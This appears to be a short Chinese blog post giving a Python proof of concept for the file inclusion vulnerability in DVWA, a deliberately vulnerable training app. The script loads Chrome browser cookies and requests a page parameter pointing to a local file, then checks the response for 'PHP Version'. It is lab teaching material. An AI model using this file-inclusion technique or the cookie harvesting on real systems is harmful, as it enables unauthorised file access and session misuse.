POC——DVWA's File Inclusion

文件包含漏洞的验证POC比较简单，仅需get访问即可。不过有一个前提——已经把将要利用的文件传入对方服务器内，且明确利用的文件所在位置~

import requests
import browser_cookie3

cookie = browser_cookie3.chrome()
url = r"http://192.168.117.130/DVWA-1.9/vulnerabilities/fi/?page=file:///C:\Users\wavesky\Desktop/1.txt"
response = requests.get(url=url,cookies=cookie)

re = 'PHP Version'
flag=re in str(response.content)

if flag:
    print("It looks likely vulnerable")
else:
    print("It is strong")

三个Level均可，直接下一个~